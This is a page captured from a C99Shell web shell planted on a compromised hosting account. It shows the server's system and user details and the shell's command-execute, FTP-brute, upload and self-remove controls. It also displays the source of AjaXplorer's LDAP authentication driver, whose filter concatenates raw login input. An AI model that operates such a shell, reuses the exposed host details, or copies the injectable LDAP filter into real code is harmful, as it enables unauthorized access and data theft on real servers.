!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/musvin.pp.ua/modules-alien/ajaxfilemanager/plugins/auth.ldap/   drwxr-xr-x
Free 117.55 GB of 200.55 GB (58.61%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class.ldapAuthDriver.php (5.85 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package info.ajaxplorer
 *
 * Copyright 2007-2009 Pierre Wirtz
 * This file is part of AjaXplorer.
 * The latest code can be found at http://www.ajaxplorer.info/
 *
 * This program is published under the LGPL Gnu Lesser General Public License.
 * You should have received a copy of the license along with AjaXplorer.
 *
 * The main conditions are as follow :
 * You must conspicuously and appropriately publish on each copy distributed
 * an appropriate copyright notice and disclaimer of warranty and keep intact
 * all the notices that refer to this License and to the absence of any warranty;
 * and give any other recipients of the Program a copy of the GNU Lesser General
 * Public License along with the Program.
 *
 * If you modify your copy or copies of the library or any portion of it, you may
 * distribute the resulting library provided you do so under the GNU Lesser
 * General Public License. However, programs that link to the library may be
 * licensed under terms of your choice, so long as the library itself can be changed.
 * Any translation of the GNU Lesser General Public License must be accompanied by the
 * GNU Lesser General Public License.
 *
 * If you copy or distribute the program, you must accompany it with the complete
 * corresponding machine-readable source code or with a written offer, valid for at
 * least three years, to furnish the complete corresponding machine-readable source code.
 *
 * Any of the above conditions can be waived if you get permission from the copyright holder.
 * AjaXplorer is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * Description : Abstract representation of an access to an authentication system (ajxp, ldap, etc).
 */
require_once(INSTALL_PATH."/server/classes/class.AbstractAuthDriver.php");
class 
ldapAuthDriver extends AbstractAuthDriver {

    var 
$ldapUrl;
    var 
$ldapPort 389;
    var 
$ldapAdminUsername;
    var 
$ldapAdminPassword;
    var 
$ldapDN;
    var 
$ldapFilter;

    var 
$ldapconn null;


    function 
init($options){
        
parent::init($options);
        
AJXP_Logger::logAction('Auth.ldap :: init');
        
$this->ldapUrl $options["LDAP_URL"];
        if (
$options["LDAP_PORT"]) $this->ldapPort $options["LDAP_PORT"];
        if (
$options["LDAP_USER"]) $this->ldapAdminUsername $options["LDAP_USER"];
        if (
$options["LDAP_PASSWORD"]) $this->ldapAdminPassword $options["LDAP_PASSWORD"];
        if (
$options["LDAP_DN"]) $this->ldapDN $options["LDAP_DN"];
        if (
$options["LDAP_FILTER"]) $this->ldapFilter $options["LDAP_FILTER"];
        
$this->ldapconn $this->LDAP_Connect();
        if (
$this->ldapconn == nullAJXP_Logger::logAction('LDAP Server connexion could NOT be established');
    }

    function 
__deconstruct(){
        
//@todo : if PHP server < 5, this method will never be closed. Maybe use a close() method ?
        
ldap_close($this->ldapconn);
    }

    function 
LDAP_Connect(){
        
$ldapconn ldap_connect($this->ldapUrl$this->ldapPort)
        or die(
"Cannot connect to LDAP server");
        
//@todo : return error_code

        
if ($ldapconn) {
            
//AJXP_Logger::logAction("auth.ldap:We are connected");
            
ldap_set_option($ldapconnLDAP_OPT_PROTOCOL_VERSION3);

            if (
$this->ldapAdminUsername === null){
                
//connecting anonymously
                
AJXP_Logger::logAction('Anonymous LDAP connexion');
                
$ldapbind = @ldap_bind($ldapconn);
            } else {
                
AJXP_Logger::logAction('Standard LDAP connexion');
                
$ldapbind = @ldap_bind($ldapconn$this->ldapAdminUsername$this->ldapAdminPassword);
            }

            if (
$ldapbind){
                return 
$ldapconn;
            } else {
                return 
null;
            }
            
        } else {
            
AJXP_Logger::logAction("Error while connection to LDAP server");
        }

    }





    function 
listUsers(){
        if (
$this->ldapFilter === null){
            
$ret ldap_search($this->ldapconn,$this->ldapDN,"objectClass=person");
        } else {
            
$ret ldap_search($this->ldapconn,$this->ldapDN,$this->ldapFilter);
        }        
        
//$ret = ldap_search($this->ldapconn,$this->ldapDN,"objectClass=person");
        
$entries ldap_get_entries($this->ldapconn$ret);
        
$persons = array();
        unset(
$entries['count']);
        foreach(
$entries as $id => $person){
            
//if ($id != 'count'){
            //AJXP_Logger::logAction('auth.ldap:Handling user '.$person['uid'][0]);
            
$persons[$person['uid'][0]] = "XXX";
            
//}
        
}

        
//error_log(print_r($persons, true));
        
return $persons;
    }

    function 
userExists($login){        
        
//return true;
        
$users $this->listUsers();
        if(!
is_array($users) || !array_key_exists($login$users)) return false;
        return 
true;
    }

    function 
checkPassword($login$pass$seed){
       
        
//AJXP_Logger::logAction('auth.ldap:ldapAuthDriver::checkPassword');
        
$ret ldap_search($this->ldapconn,$this->ldapDN,"uid=".$login);
        
$entries ldap_get_entries($this->ldapconn$ret);
        
//error_log(print_r($entries, true));
        
if ($entries['count']>0) {
            
//AJXP_Logger::logAction('auth.ldap:Found user!');

            //error_log(print_r($entries[0]["dn"], true));
            
if (@ldap_bind($this->ldapconn,$entries[0]["dn"],$pass)) {
                
AJXP_Logger::logAction('Ldap Password Check:Got user '.$entries[0]["cn"][0]);
                return 
true;
            }
            return 
false;
        } else {
            
AJXP_Logger::logAction("Ldap Password Check:No user $user_id found");
            return 
false;
        }
    }

    function 
usersEditable(){
        return 
false;
    }
    function 
passwordsEditable(){
        return 
false;
    }

   


}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0108 ]--